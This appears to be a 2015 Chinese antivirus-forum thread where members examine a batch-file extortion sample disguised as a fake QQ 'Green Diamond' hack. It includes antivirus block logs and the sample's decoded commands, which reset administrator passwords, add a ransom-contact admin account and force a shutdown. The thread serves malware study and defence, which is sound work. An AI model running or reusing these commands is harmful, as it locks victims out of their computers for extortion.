刚才在群里收集到的一只超新鲜敲竹杠，没有入库的

显示全部楼层 · 发表于 2015-5-8 23:31:30

展示你们主防威力的时候到了

显示全部楼层 · 发表于 2015-5-8 23:33:07

本帖最后由学雷锋做人于 2015-5-8 23:35 编辑

批处理敲竹杠，1.账户Administrator的密码：zhang；2.账户要密码加Q53059508$的密码：hense

显示全部楼层 · 发表于 2015-5-8 23:33:55

本帖最后由 230f4 于 2015-5-8 23:57 编辑

eset占楼

显示全部楼层 · 发表于 2015-5-8 23:34:42

学雷锋做人发表于 2015-5-8 23:33
占楼！！！

哈哈，我第一次见这么新鲜的样本，VIR上一个也没报

显示全部楼层 · 发表于 2015-5-8 23:35:45

windows7爱好者发表于 2015-5-8 23:34
哈哈，我第一次见这么新鲜的样本，VIR上一个也没报

新鲜谈不上，批处理的搞起来完全无压力，看二楼

显示全部楼层 · 发表于 2015-5-8 23:36:28

学雷锋做人发表于 2015-5-8 23:35
新鲜谈不上，批处理的搞起来完全无压力，看二楼

本来就是最低级的，可我们群里还有人中招，

显示全部楼层 · 发表于 2015-5-8 23:44:50

[mw_shl_code=css,true]08.05.2015 23.42.50;已阻止可疑操作;Net Command;访问用户帐号设置;Net Command;C:\windows\system32\net.exe;05/08/2015 23:42:50
08.05.2015 23.42.50;已允许可疑操作;d:\搜狗高速下载\卡永久绿钻正式版\卡永久绿钻正式版 .bat;关闭 Windows;d:\搜狗高速下载\卡永久绿钻正式版\卡永久绿钻正式版 .bat;d:\搜狗高速下载\卡永久绿钻正式版\卡永久绿钻正式版 .bat;05/08/2015 23:42:50
08.05.2015 23.42.50;已阻止可疑操作;d:\搜狗高速下载\卡永久绿钻正式版\卡永久绿钻正式版 .bat;访问用户帐号设置;d:\搜狗高速下载\卡永久绿钻正式版\卡永久绿钻正式版 .bat;d:\搜狗高速下载\卡永久绿钻正式版\卡永久绿钻正式版 .bat;05/08/2015 23:42:50
08.05.2015 23.42.50;已阻止可疑操作;Net Command;访问用户帐号设置;Net Command;C:\windows\system32\net.exe;05/08/2015 23:42:50
08.05.2015 23.42.50;已阻止可疑操作;Net Command;访问用户帐号设置;Net Command;C:\windows\system32\net.exe;05/08/2015 23:42:50
[/mw_shl_code]

显示全部楼层 · 发表于 2015-5-8 23:51:09

批处理...

显示全部楼层 · 发表于 2015-5-8 23:55:51

net user Administrator zhang
net user admin zhang
net user 要密码加Q53059508$ hense /add
net localgroup administrators 要密码加53059508$ /add
Shutdown.exe -s -t 3

神奇的：Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 (zh-CN)
——人丑就要多读书

显示全部楼层 · 发表于 2015-5-9 00:00:14

[病毒样本] 刚才在群里收集到的一只超新鲜敲竹杠，没有入库的

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块